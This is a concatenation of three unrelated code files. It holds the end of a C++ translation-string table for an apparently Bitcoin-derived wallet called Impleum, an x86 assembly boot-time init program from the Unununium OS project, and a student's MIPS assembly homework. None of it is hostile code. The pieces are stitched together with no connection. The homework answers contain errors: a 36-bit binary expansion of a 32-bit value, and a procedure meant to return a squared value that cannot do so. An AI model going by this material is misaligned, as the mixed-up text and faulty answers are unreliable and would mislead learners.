UPnP to map the listening port (default: 0)"), QT_TRANSLATE_NOOP("bitcoin-core", "Fee per KB to add to transactions you send"), QT_TRANSLATE_NOOP("bitcoin-core", "" "When creating transactions, ignore inputs with value less than this " "(default: 0.01)"), QT_TRANSLATE_NOOP("bitcoin-core", "Accept command line and JSON-RPC commands"), QT_TRANSLATE_NOOP("bitcoin-core", "Run in the background as a daemon and accept commands"), QT_TRANSLATE_NOOP("bitcoin-core", "Use the test network"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Output debugging information (default: 0, supplying <category> is optional)"), QT_TRANSLATE_NOOP("bitcoin-core", "If <category> is not supplied, output all debugging information."), QT_TRANSLATE_NOOP("bitcoin-core", "<category> can be:"), QT_TRANSLATE_NOOP("bitcoin-core", "Prepend debug output with timestamp"), QT_TRANSLATE_NOOP("bitcoin-core", "Shrink debug.log file on client startup (default: 1 when no -debug)"), QT_TRANSLATE_NOOP("bitcoin-core", "Send trace/debug info to console instead of debug.log file"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Enter regression test mode, which uses a special chain in which blocks can " "be solved instantly. This is intended for regression testing tools and app " "development."), QT_TRANSLATE_NOOP("bitcoin-core", "Username for JSON-RPC connections"), QT_TRANSLATE_NOOP("bitcoin-core", "Password for JSON-RPC connections"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Listen for JSON-RPC connections on <port> (default: 16174 or testnet: 25715)"), QT_TRANSLATE_NOOP("bitcoin-core", "Allow JSON-RPC connections from specified IP address"), QT_TRANSLATE_NOOP("bitcoin-core", "Send commands to node running on <ip> (default: 127.0.0.1)"), QT_TRANSLATE_NOOP("bitcoin-core", "Wait for RPC server to start"), QT_TRANSLATE_NOOP("bitcoin-core", "Set the number of threads to service RPC calls (default: 4)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Execute command when the best block changes (%s in cmd is replaced by block " "hash)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Execute command when a wallet transaction changes (%s in cmd is replaced by " "TxID)"), QT_TRANSLATE_NOOP("bitcoin-core", "Require a confirmations for change (default: 0)"), QT_TRANSLATE_NOOP("bitcoin-core", "Minimize weight consumption (experimental) (default: 0)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Execute command when a relevant alert is received (%s in cmd is replaced by " "message)"), QT_TRANSLATE_NOOP("bitcoin-core", "Upgrade wallet to latest format"), QT_TRANSLATE_NOOP("bitcoin-core", "Set key pool size to <n> (default: 100)"), QT_TRANSLATE_NOOP("bitcoin-core", "Rescan the block chain for missing wallet transactions"), QT_TRANSLATE_NOOP("bitcoin-core", "Attempt to recover private keys from a corrupt wallet.dat"), QT_TRANSLATE_NOOP("bitcoin-core", "How many blocks to check at startup (default: 500, 0 = all)"), QT_TRANSLATE_NOOP("bitcoin-core", "How thorough the block verification is (0-6, default: 1)"), QT_TRANSLATE_NOOP("bitcoin-core", "Imports blocks from external blk000?.dat file"), QT_TRANSLATE_NOOP("bitcoin-core", "Keep at most <n> MiB of unconnectable blocks in memory (default: %u)"), QT_TRANSLATE_NOOP("bitcoin-core", "Block creation options:"), QT_TRANSLATE_NOOP("bitcoin-core", "Set minimum block size in bytes (default: 0)"), QT_TRANSLATE_NOOP("bitcoin-core", "Set maximum block size in bytes (default: 250000)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Set maximum size of high-priority/low-fee transactions in bytes (default: " "27000)"), QT_TRANSLATE_NOOP("bitcoin-core", "SSL options: (see the Bitcoin Wiki for SSL setup instructions)"), QT_TRANSLATE_NOOP("bitcoin-core", "Use OpenSSL (https) for JSON-RPC connections"), QT_TRANSLATE_NOOP("bitcoin-core", "Server certificate file (default: server.cert)"), QT_TRANSLATE_NOOP("bitcoin-core", "Server private key (default: server.pem)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Acceptable ciphers (default: TLSv1.2+HIGH:TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!" "3DES:@STRENGTH)"), QT_TRANSLATE_NOOP("bitcoin-core", "Warning: Deprecated argument -debugnet ignored, use -debug=net"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Error: Unsupported argument -socks found. Setting SOCKS version isn't " "possible anymore, only SOCKS5 proxies are supported."), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -paytxfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Warning: -paytxfee is set very high! This is the transaction fee you will " "pay if you send a transaction."), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -mininput=<amount>: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Initialization sanity check failed. Impleum is shutting down."), QT_TRANSLATE_NOOP("bitcoin-core", "Wallet %s resides outside data directory %s."), QT_TRANSLATE_NOOP("bitcoin-core", "" "Cannot obtain a lock on data directory %s. Impleum is probably already " "running."), QT_TRANSLATE_NOOP("bitcoin-core", "Verifying database integrity..."), QT_TRANSLATE_NOOP("bitcoin-core", "Error initializing wallet database environment %s!"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as " "wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect " "you should restore from a backup."), QT_TRANSLATE_NOOP("bitcoin-core", "wallet.dat corrupt, salvage failed"), QT_TRANSLATE_NOOP("bitcoin-core", "Unknown network specified in -onlynet: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid -proxy address: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid -tor address: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Cannot resolve -bind address: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Failed to listen on any port. Use -listen=0 if you want this."), QT_TRANSLATE_NOOP("bitcoin-core", "Cannot resolve -externalip address: '%s'"), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount for -reservebalance=<amount>"), QT_TRANSLATE_NOOP("bitcoin-core", "Loading block index..."), QT_TRANSLATE_NOOP("bitcoin-core", "Error loading block database"), QT_TRANSLATE_NOOP("bitcoin-core", "Loading wallet..."), QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat: Wallet corrupted"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Warning: error reading wallet.dat! All keys read correctly, but transaction " "data or address book entries might be missing or incorrect."), QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat: Wallet requires newer version of Impleum"), QT_TRANSLATE_NOOP("bitcoin-core", "Wallet needed to be rewritten: restart Impleum to complete"), QT_TRANSLATE_NOOP("bitcoin-core", "Error loading wallet.dat"), QT_TRANSLATE_NOOP("bitcoin-core", "Cannot downgrade wallet"), QT_TRANSLATE_NOOP("bitcoin-core", "Cannot write default address"), QT_TRANSLATE_NOOP("bitcoin-core", "Rescanning..."), QT_TRANSLATE_NOOP("bitcoin-core", "Loading addresses..."), QT_TRANSLATE_NOOP("bitcoin-core", "Done loading"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Unable to bind to %s on this computer. Impleum is probably already running."), QT_TRANSLATE_NOOP("bitcoin-core", "Unable to bind to %s on this computer (bind returned error %d, %s)"), QT_TRANSLATE_NOOP("bitcoin-core", "Impleum version"), QT_TRANSLATE_NOOP("bitcoin-core", "Usage:"), QT_TRANSLATE_NOOP("bitcoin-core", "Send command to -server or impleumd"), QT_TRANSLATE_NOOP("bitcoin-core", "List commands"), QT_TRANSLATE_NOOP("bitcoin-core", "Get help for a command"), QT_TRANSLATE_NOOP("bitcoin-core", "" "You must set rpcpassword=<password> in the configuration file:\n" "%s\n" "If the file does not exist, create it with owner-readable-only file " "permissions."), QT_TRANSLATE_NOOP("bitcoin-core", "Error: Wallet locked, unable to create transaction!"), QT_TRANSLATE_NOOP("bitcoin-core", "Error: Wallet unlocked for staking only, unable to create transaction."), QT_TRANSLATE_NOOP("bitcoin-core", "" "Error: This transaction requires a transaction fee of at least %s because of " "its amount, complexity, or use of recently received funds!"), QT_TRANSLATE_NOOP("bitcoin-core", "Error: Transaction creation failed!"), QT_TRANSLATE_NOOP("bitcoin-core", "Sending..."), QT_TRANSLATE_NOOP("bitcoin-core", "" "Error: The transaction was rejected! This might happen if some of the coins " "in your wallet were already spent, such as if you used a copy of wallet.dat " "and coins were spent in the copy but not marked as spent here."), QT_TRANSLATE_NOOP("bitcoin-core", "Invalid amount"), QT_TRANSLATE_NOOP("bitcoin-core", "Insufficient funds"), QT_TRANSLATE_NOOP("bitcoin-core", "Error"), QT_TRANSLATE_NOOP("bitcoin-core", "Warning"), QT_TRANSLATE_NOOP("bitcoin-core", "Information"), QT_TRANSLATE_NOOP("bitcoin-core", "Warning: This version is obsolete, upgrade required!"), QT_TRANSLATE_NOOP("bitcoin-core", "Error: Disk space is low!"), QT_TRANSLATE_NOOP("bitcoin-core", "" "This is a pre-release test build - use at your own risk - do not use for " "mining or merchant applications"), };
;; $Header: /cvsroot/uuu/uuu/src/apps/init/init.asm,v 1.2 2001/12/15 20:03:01 instinc Exp $ ;; ;; by Dave Poirier (instinc@users.sourceforge.net) ;; Distributed under the modified BSD License ;; [bits 32] ;------------- section .text ;------------------------------------------------------------------------------ global _start ; define our entry point as global ; ; system status flags %define STATUS_8042_FAILED 0x01; bit 0: 8042 controller error/failure? %define STATUS_KEYB_RESET_FAILED 0x02; bit 1: keyboard error/failure? %define STATUS_MEM_TRANSFERED 0x04; bit 2: is mem.alloc transfered? %define STATUS_FORCED_USER_INPUT 0x08; bit 3: invalid config, input required ;------------------------------------------------------------------------------ ;------ _start: ;------------------------------------------------------------------------------ ; Check who gave us control ;-------------------------- test ecx, ecx ; if 0, boot record jz short .from_boot_record ; in case it is, act upon it ; ; Ran from command-lin ;--------------------- jmp short $ ; ; ; Clean init .from_boot_record: ;----------- mov [redirector.malloc], eax ; backup pointer to malloc function mov [redirector.file_open], ebx ; backup pointer to file open function mov [redirector.file_read], edx ; backup pointer to file read function mov [redirector.get_file_size], ebp ; backup pointer to get file size func ; ; Display init welcome message ;----------------------------- push byte __SYSLOG_TYPE_LOADINFO__ ; push dword strings.title ; welcome message call __lprint ; send it to the log pop eax ; clear welcome from stack pop eax ; clear debug type ; ; Wait for 8042 to process all commands .wait_kbd0: ;-------------------------------------- in al, 0x64 ; read 8042 status port test al, 0x02 ; test inbuf status jnz short .wait_kbd0 ; if not empty, wait again ; ; Clear 8042 output buffer .clear_kbd_outbuf: ;------------------------- in al, 0x64 ; read 8042 status port test al, 0x01 ; test outbuf status in al, 0x60 ; read outbuf data in case jnz short .clear_kbd_outbuf ; if it was not empty, check again ; ; 8042 Self-test ;--------------- mov al, 0xAA ; self-test command out 0x64, al ; send it ; call kbd_inb ; wait for 8042 self-test result ; cmp al, 0x55 ; check if test passed jz short .self_test_8042_passed ; bypass error message if test is OK ; ; Display 8042 self-test failed ;------------------------------ movzx eax, al ; make error code 32bits push eax ; prepare it for display push byte __SYSLOG_TYPE_WARNING__ ; push dword strings.self_test_8042_failed; error message call __lprint ; send it to the log add esp, byte 12 ; clear params from stack or byte [system_status], byte STATUS_8042_FAILED jmp short .bypass_kbd_reset ; ; .self_test_8042_passed: ; ; Reset Keyboard Controller ;-------------------------- mov al, 0xFF ; reset command call kbd_outb ; send command to keyboard controller ; call kbd_inb ; get keyboard controller answer cmp al, 0xFA ; check if answer is ACK jz short .keyboard_reset_acked ; ; movzx eax, al ; make returned error code 32bit push dword strings.keyboard_disabled ; second part of error message push eax ; give it as argument to the log push byte __SYSLOG_TYPE_WARNING__ ; push dword strings.keyboard_reset_failed; error message call __lprint ; send all that to the log add esp, byte 16 ; clear params on stack or byte [system_status], byte STATUS_KEYB_RESET_FAILED ; .keyboard_reset_acked: ; .bypass_kbd_reset: ; ; Open configuration file ;------------------------ mov dword esi, files.config ; set our config filename push dword esi ; back it up for log purposes call [redirector.file_open] ; try to open the file jnc short .master_config_open ; check if all went well, if so jump ; ; display error in log ;--------------------- push byte __SYSLOG_TYPE_FATALERR__ ; fatal error class of log push dword strings.file_not_found ; set our error message call __lprint ; display log entry jmp short $ ; lock the computer ; .master_config_open: ; display status in log ;---------------------- push byte __SYSLOG_TYPE_INFO__ ; loading info class of log push dword strings.reading_config ; set our status message call __lprint ; display log entry add dword esp, byte 12 ; clear log entry params from stack ; ; get file size ;-------------- ; edx = file handle ; call [redirector.get_file_size] ; acquire file size (ecx) ; ; ecx = file size ; edx = file handle ; ; allocate memory ;---------------- inc ecx ; give us space for a null terminator call __malloc ; allocate it ; ; eax = file size+1 ; edx = file handle ; edi = allocated memory block ; ; read file to memory ;-------------------- mov ecx, eax ; restore original file size xor ebp, ebp ; set starting offset to 0 dec ecx ; adjust size (without null terminator) call [redirector.file_read] ; read file mov [edi + ecx], byte 0 ; null-terminate the file ; ; ecx = file size ; edi = destination buffer ; ebp = 0 ; pushad mov dx, 0x8A00 mov ax, dx out dx, ax mov al, 0xE5 out dx, ax mov al, 0xE3 out dx, ax popad ; scan file for preliminary information ;-------------------------------------- mov esi, edi ; .process_next_token: ; inc ebp ; increment line number call __get_token ; get a token jc short .force_user_input ; in case invalid file detected.. ; dec eax ; blank line? (blank/comment) js short .get_new_line ; if so, go to next line ; cmp eax, byte 6-1 ; make sure it is a system init token ja short .force_user_input ; if not, invalid file ; call [eax*4 + tokens.handler] ; call the respective token handler jc short .force_user_input ; in case an invalid char was detected ; .get_new_line: ; lodsb ; load a character test al, al ; check for null terminator jz short .end_of_config ; in case it is, config parsing done cmp al, 0x0A ; check for new line jnz short .get_new_line ; if not, read char again jmp short .process_next_token ; newline detected, parse for token ; .end_of_config: ; test [system_status], byte (STATUS_8042_FAILED + STATUS_KEYB_RESET_FAILED) jnz short .use_defaults ; ; push dword [config.delay] ; push byte __SYSLOG_TYPE_INFO__ ; push dword strings.press_a_key ; call __lprint ; add esp, byte 8 ; ; pop edx ; ; .outer_delay_checker: ; ; mov ecx, 66291 ; 66291*15.085us = 1s .inner_delay_checker: ; in al, 0x61 ; and al, 0x10 ; cmp al, ah ; jz short .inner_delay_checker ; mov ah, al ; in al, 0x64 ; test al, 0x01 ; jnz short .get_user_input ; dec ecx ; jns short .inner_delay_checker ; dec edx ; jle short .outer_delay_checker ; ; .use_defaults: ; mov eax, [config.files] ; test eax, eax ; jz short .force_user_input ; ; mov esi, [config.files] ; call __find_matching_config ; jnc short .load_specific_config ; ; .force_user_input: ; push dword strings.forcing_user_input; push byte __SYSLOG_TYPE_WARNING__ ; push dword strings.invalid_file_format call __lprint ; add esp, byte 12 ; or [system_status], byte STATUS_FORCED_USER_INPUT ; test [system_status], byte (STATUS_8042_FAILED + STATUS_KEYB_RESET_FAILED) jz short .get_user_input ; ; push byte __SYSLOG_TYPE_FATALERR__ ; push dword strings.unable_to_force_user_input call __lprint ; jmp short $ ; ; .get_user_input: ; mov edi, 0xB8000 mov ecx, 2000 mov eax, 0x07200720 rep stosd jmp short $ ; ; .load_specific_config: ; lea esi, [edi + config_entry.filename] push esi ; push byte __SYSLOG_TYPE_LOADINFO__ ; push dword strings.reading_config ; call __lprint ; ; jmp short $ ; ;------------------------------------------------------------------------------ ;---------------------- __find_matching_config: ;------------------------------------------------------------------------------ clc retn ;------------------------------------------------------------------------------ ;----------- __get_token: ;------------------------------------------------------------------------------ ; parameters: ; esi = pointer to memory buffer holding string ; returns: ; cf = 0, token identified ; eax = token id ; 0 = no token found, blank line ; 1 = config ; 2 = default ; 3 = delay ; 4 = label ; 5 = ram ; 6 = root ; 7 = load ; 8 = run ; 9 = transfer ; esi = pointer to first char of token ; cf = 1, invalid token ; al = <destroyed> ; esi = first non-space character ; other registers returned unmodified ;------------------------------------------------------------------------------ ; Clear out spaces characters .clear_leading_spaces: ;---------------------------- lodsb ; load next character cmp al, ' ' ; clear out leading spaces jz short .clear_leading_spaces ; .. cmp al, 0x09 ; clear out leading tabs jz short .clear_leading_spaces ; .. ; ; Test for blank line ;-------------------- dec esi ; cmp al, 0x0A ; check for new line character jz short .blank_line ; if it is a real blank line.. test al, al ; check if it is a null terminator jz short .blank_line ; cmp al, '#' ; in case it is a commented line jnz short .not_blank ; if it isn't, check for a token id ; ; return blank line token .blank_line: ;------------------------ xor eax, eax ; set token = 0, CF = 0 retn ; return ; ; Identify token .not_blank: ;--------------- pushad ; backup original regs push byte 8 ; set maximum token length pop ecx ; xor edx, edx ; xor ebx, ebx ; .parse_token: ; lodsb ; load next char or al, 0x20 ; lowercase(char) cmp al, 'a' ; check for lower margin jb short .token_end ; cmp al, 'z' ; check for higher margin ja short .token_end ; ; add char to token name ;----------------------- shld ebx, edx, 8 ; shl edx, 8 ; mov dl, al ; loop .parse_token ; continue parsing if token isn't full ; ; make sure token is 8 char or less ;---------------------------------- or al, 0x20 ; lowercase(char) cmp al, 'a' ; low-area upper margin jb short .token_end ; if lower, it is valid cmp al, 'z' ; high-area lower margin ja short .token_end ; if higher, it is valid ; ; Invalid token detected .invalid_token: ;----------------------- popad ; restore all regs stc ; set carry flag retn ; ; End of token identified .token_end: ;------------------------ dec esi ; set pointer back to non-token char lodsb ; cmp al, '=' ; jnz short .invalid_token ; ; cmp ecx, byte 8 ; make sure token is not zero-length jz short .invalid_token ; if it is, invalid token dude.. ; ; Prepare token search regs ;-------------------------- push byte TOKEN_COUNT ; number of tokens defined pop ecx ; set this number in ecx mov edi, tokens ; pointer to tokens definition ; .check_next_token: ; dec ecx ; check if we got a token to compare to js short .invalid_token ; if none left, invalid one buddy ; ; Compare tokens ;--------------- cmp [ecx*8 + edi], edx ; compare low part jnz short .check_next_token ; if not the same, go to the next token cmp [ecx*8 + edi + 4], ebx ; compare high part jnz short .check_next_token ; if not the same, go to the next token ; ; Token identified ;----------------- inc ecx ; get token id mov [esp + 28], ecx ; mark it as returned value popad ; restore registers clc ; clear error flag retn ; return to caller ;------------------------------------------------------------------------------ ;------------ token_config: ;------------------------------------------------------------------------------ add esi, byte 7 ; go after config= part ; ; allocate configuration memory ;------------------------------ mov ecx, config_entry_size ; number of bytes required call __malloc ; allocate it ; mov eax, edi ; set pointer to our new entry xchg eax, [config.files] ; get previous configuration entry mov [edi], eax ; link previous entry add edi, byte config_entry.filename ; get offset to filename push byte 127 ; pop ecx ; mov ebp, validate_filename_char ; ; ; ; copying name .copying_name: ;------------- lodsb ; get one char call ebp ; make sure it is a valid char jc short .name_completed ; in case it isn't.. stosb ; store filename char loop .copying_name ; ; ; zero-terminate name .name_completed: ;-------------------- mov al, 0 ; null terminator stosb ; store it ; dec esi ; get first invalid char clc ; clear error flags retn ; return to caller ;------------------------------------------------------------------------------ ;------------- token_default: ;------------------------------------------------------------------------------ add esi, byte 8 ; get past default= mov edi, config.default ; set destination buffer push byte 31 ; maximum name length pop ecx ; get it in ecx mov ebp, validate_name_char ; valid char checker jmp short token_config.copying_name ; copy that name down ;------------------------------------------------------------------------------ ;----------- token_label: ;------------------------------------------------------------------------------ add esi, byte 6 ; get past label= ; mov edi, [config.files] ; load last config test edi, edi ; make sure label= is used with config= jz short .invalid ; in case it is not.. ; add edi, byte config_entry.label ; get pointer to buffer push byte 31 ; maximum name length pop ecx ; get it in ecx mov ebp, validate_name_char ; valid char checker jmp token_config.copying_name ; copy that name down ; .invalid: ; label used outside of config= ;------------------------------ stc ; set error flag retn ; return to caller ;------------------------------------------------------------------------------ ;---------- token_root: ;------------------------------------------------------------------------------ mov edi, [config.files] push byte 31 pop ecx mov ebp, validate_filename_char test edi, edi lea edi, [edi + config_entry.root] jnz short token_config.copying_name mov edi, config.root jmp short token_config.copying_name ;------------------------------------------------------------------------------ ;----------- token_delay: ;------------------------------------------------------------------------------ add esi, byte 6 call __get_decimal mov [config.delay], ebx clc retn ;------------------------------------------------------------------------------ ;--------- token_ram: ;------------------------------------------------------------------------------ add esi, byte 4 call __get_decimal shl ebx, 20 mov [config.ram], ebx test ebx, ebx jnz short .valid cmp [esi], dword 'auto' jz short .valid stc retn .valid: clc retn ;------------------------------------------------------------------------------ ;------------- __get_decimal: ;------------------------------------------------------------------------------ xor ebx, ebx .computing: lodsb sub al, '0' js short .done cmp al, 9 ja short .done movzx eax, al imul ebx, byte 10 add ebx, eax jmp short .computing .done: dec esi retn ;------------------------------------------------------------------------------ ;---------------------- validate_filename_char: ;------------------------------------------------------------------------------ cmp al, '/' jz short validate_name_char.valid cmp al, '-' jz short validate_name_char.valid cmp al, '.' jz short validate_name_char.valid ;------------------------------------------------------------------------------ ;------------------ validate_name_char: ;------------------------------------------------------------------------------ cmp al, '0' jb short .invalid cmp al, '9' jbe short .valid cmp al, 'A' jb short .invalid cmp al, 'Z' jbe short .valid cmp al, '_' jz short .valid cmp al, 'a' jb short .invalid cmp al, 'z' jbe short .valid .invalid: stc retn .valid: clc retn ;------------------------------------------------------------------------------ ;-------- __malloc: ;------------------------------------------------------------------------------ ; Check if memory cell is loaded ;------------------------------- test [system_status], byte STATUS_MEM_TRANSFERED jz short .not_transfered_yet ; in case it isn't, use our code ; jmp [redirector.malloc] ; use the memory cell ; ; Internal memory allocation code .not_transfered_yet: ;-------------------------------- mov edi, 0x00100000 ; SMC: base of free memory (extended) .extended_base equ $-4 ; set pointer to SMC push edx ; backup edx, must not be destroyed push ecx ; backup original requested size mov edx, -0x40 ; value used for alignment add ecx, byte (0x3F + 0x40) ; add link space + alignment and ecx, edx ; align block size add [.extended_base], ecx ; modify the SMC to new base address mov eax, edi ; prepare for linked list update xchg eax, [memory.allocated_blocks] ; update allocated block linked list mov [edi], eax ; link previously allocated block mov [edi + 4], ecx ; indicate block size sub edi, edx ; get pointer to allocated block add ecx, edx ; compute allocated block size pop eax ; restore originally requested size pop edx ; restore original edx clc ; clear error flag retn ; return to caller ;------------------------------------------------------------------------------ ;------- kbd_inb: ;------------------------------------------------------------------------------ in al, 0x64 ; read in 8042 status test al, 0x01 ; test status of 8042 output buffer jz short kbd_inb ; in case no data is there yet.. retry in al, 0x60 ; get data from 8042 output buffer retn ; return to caller ;------------------------------------------------------------------------------ ;-------- kbd_outb: ;------------------------------------------------------------------------------ push eax ; .waiting_kbd_inbuf_empty: ; in al, 0x64 ; test al, 0x02 ; jnz short .waiting_kbd_inbuf_empty ; pop eax ; out 0x60, al ; ;-------------------------------------- null_redirector: ;------------------------------------------------------------------------------ retn ; return to caller ;------------------------------------------------------------------------------ ;------------ log_transfer: ;------------------------------------------------------------------------------ ; TODO jmp short $ ;------------------------------------------------------------------------------ ;-------- __lprint: ;------------------------------------------------------------------------------ ; stack to a printf look-alike string ;------------------------------------------------------------------------------ pushad ; mov ebp, esp ; add esp, byte 36 ; ; pop esi ; retrieve pointer to message pop eax ; retrieve message type lea eax, [eax*8 + log_types] ; mov edi, log_buffer ; mov ebx, [eax] ; mov ecx, edi ; mov [edi], ebx ; mov ebx, [eax + 4] ; mov [edi+4], ebx ; mov al, 0x20 ; add edi, byte 8 ; stosb ; ; .parsing_main_string: ; lodsb ; test al, al ; jz short .end ; cmp al, '%' ; jz short .special_handler ; cmp al, '\' ; jz near .special_character ; .unknown_char: ; stosb ; jmp short .parsing_main_string ; ; .end: ; stosb ; copy down 0 terminator mov esp, ebp ; restore original stack context ; ; Allocate space for log entry ;----------------------------- mov esi, ecx ; get original log_buffer pointer sub ecx, edi ; get negated log entry length neg ecx ; make it positive push ecx ; backup original string length add ecx, 8 ; add space to link log entry + type call __malloc ; allocate memory for it ; ; Link log entry ;--------------- mov eax, [log_linked_list] ; get previous last log entry mov [log_linked_list], edi ; mark our as new latest log stosd ; link the previous log entry up mov eax, [esp + 44] ; get log type stosd ; store log type mov ebx, edi ; backup pointer to log entry ; ; Scroll on-screen display ;------------------------- push esi ; backup pointer to log buffer mov esi, 0xB8140 ; input data start at line 2 mov edi, 0xB80A0 ; destination data start at line 1 mov ecx, (80*2*23)/4 ; length to move around rep movsd ; move it ; ; Send log to log entry and display ;---------------------------------- pop esi ; restore pointer to log buffer pop edx ; restore log buffer length + 4 mov cl, 80 ; set max on-screen length mov ah, 0x07 ; set log color .copying_log_entry: ; lodsb ; read one char off the log stosw ; display char and attrib on screen dec ecx ; dec on-screen length allowable jz short .finish_log ; if anymore left to do, go do it mov [ebx], al ; copy char to log entry inc ebx ; move log entry pointer foward dec edx ; dec total log entry left to do jnz short .copying_log_entry ; if not zero, continue to process ; rep stosw ; zeroize remaining of the screen line popad ; restore all registers retn ; return to caller ; .finish_log: ; mov edi, ebx ; set destination pointer mov ecx, edx ; set length left to copy rep movsb ; copy down the data popad ; restore all registers retn ; return to caller ; .special_handler: pop ebx lodsb cmp al, 's' jz short .substring cmp al, 'x' jz short .hexadecimal cmp al, 'd' jz short .decimal cmp al, 'f' jz short .float cmp al, 'o' jz short .display_octal push ebx jmp short .unknown_char .display_octal: mov al, 0x08 jmp short .value_common .substring: xchg esi, ebx .displaying_substring: lodsb stosb test al, al jnz short .displaying_substring dec edi mov esi, ebx .go_parse_main_string: jmp near .parsing_main_string .hexadecimal: mov al, 0x10 jmp short .value_common .decimal: mov al, 0x0A .value_common: mov [.start_loc], edi movzx eax, al xchg eax, ebx .processing_value: xor edx, edx div ebx xchg eax, edx cmp al, 0x0A sbb al, 0x69 das stosb xchg eax, edx test eax, eax jnz short .processing_value mov ebx, edi mov edx, 0 .start_loc equ $-4 .swap_chars: dec ebx mov al, [ebx] xchg al, [edx] mov [ebx], al inc edx cmp edx, ebx jna short .swap_chars jmp short .go_parse_main_string .float: stosb jmp short .go_parse_main_string .special_character: lodsb cmp al, 'n' mov bl, 0x0A jz short .special_char_write cmp al, 't' mov bl, 0x08 jz short .special_char_write cmp al, '\' mov bl, al jz short .special_char_write xchg al, bl stosb .special_char_write: mov al, bl stosb jmp short .go_parse_main_string section .data align 8, db 0 tokens: db "gifnoc" ; config align 8, db 0 db "tluafed" ; default align 8, db 0 db "yaled" ; delay align 8, db 0 db "lebal" ; label align 8, db 0 db "mar" ; ram align 8, db 0 db "toor" ; root align 8, db 0 TOKEN_COUNT equ ($-tokens)/8 .handler: dd token_config dd token_default dd token_delay dd token_label dd token_ram dd token_root redirector: .non_standards: .file_open: dd 0 .file_read: dd 0 .get_file_size: dd 0 .globals: .malloc: dd null_redirector dd mem.alloc.VID .lprint: dd __lprint dd 5300 log_types: db "DEBUG " db "INFO " db "LOADINFO" db "WARNING " db "FATALERR" strings: .done: db "done.\n",0 .failed: db "failed.\n",0 .file_not_found: db "Could not open file: %s",0 .forcing_user_input: db "Forcing user input.",0 .initializing: db "Providing organic contact to %s...",0 .invalid_file_format: db "Invalid file format detected. %s",0 .keyboard_reset_failed: db "Keyboard reset failed with error %x" .keyboard_disabled: db ", keyboard input disabled.",0 .loading: db "Requesting mitosis of %s...",0 .press_a_key: db "Press a key to enter system config, using defaults in %d seconds...",0 .reading_config: db "Reading configuration file %s...",0 .self_test_8042_failed: db "8042 Self-Test failed with error %x%s",0 .title: db "Unununium Distribution Initializer $Revision: 1.2 $ says 'hi!'",0 .unable_to_force_user_input: db "User input requested while keyboard or 8042 init failed.",0 .welcome: db "Genetically assimilated %s\n",0 files: .config: db "/conf/init",0 section .bss log_buffer: times 256 resb 1 log_linked_list: resd 1 system_status: resd 1 memory.allocated_blocks: resd 1 config: .default: resb 32 .delay: resd 1 .files: resd 1 .ram: resd 1 .root: resb 32
# Bradley Grose # Homework 2 ################### # Question 1: # Convert 0Xfffffff9 (2’s complement representation) into decimal. # = 0b1111 1111 1111 1111 1111 1111 1111 1111 1001 # = 0x0000 0000 0000 0000 0000 0000 0000 0000 0110 # = 0x0000 0000 0000 0000 0000 0000 0000 0000 0111 # = -7 ################################### # Question 2: In the following MIPS assembly code, translate all the instructions to their # corresponding machine code in hexadecimal format. This code is stored in the memory from # address 0x1aef0000. Loop: lw $t0, 0($s0) addi $t1, $t1, -5 srl $t1, $t1, 2 beq $t1, $s5, Exit addi $s0, $s0, 4 j Loop Exit: … # Address Assembly Hexadecimal # 0x1AEF 0000 lw $t0, 0($s0) 0x8e08 0000 # 0x1AEF 0004 addi $t1, $t1, -5 0x2129 fffb # 0x1AEF 0008 srl $t1, $t1, 2 0x0009 4882 # 0x1AEF 000C beq $t1, $s5, Exit 0x1135 0002 # 0x1AEF 0010 addi $s0, $s0, 4 0x2210 0004 # 0x1AEF 0014 j Loop 0x0abb c000 ################################### # Question 3: Find the MIPS instruction with the machine code 0x02108020. # 0x0 2 1 0 8 0 2 0 # 0b0000 0010 0001 0000 1000 0000 0010 0000 # 0b000000 10000100001000000000100000 # Function is last six bits # 0b000000 10000100001000000000 100000 # ADD # 0b000000 10000 10000 10000 00000 100000 # opcode rs rt rd **** func ########################################################### add $s0, $s0, $s0 ################################### # Question 4: Write an MIPS procedure to take an input positive integer 𝑎 through $a0 and return # the value 𝑎^2 hrough $v0. li $t0, 0 # $t0 = 0 Loop: bge $t0, $a0, quit # if $t0 >= $t1 then quit add $t1, $t1, $t0 # $t1 = $t1 + a addi $t0, $t1, 1 # $t0 = $t1 + 1 j Loop # jump to Loop quit: move $v0, $t1 # $v0 = $t1
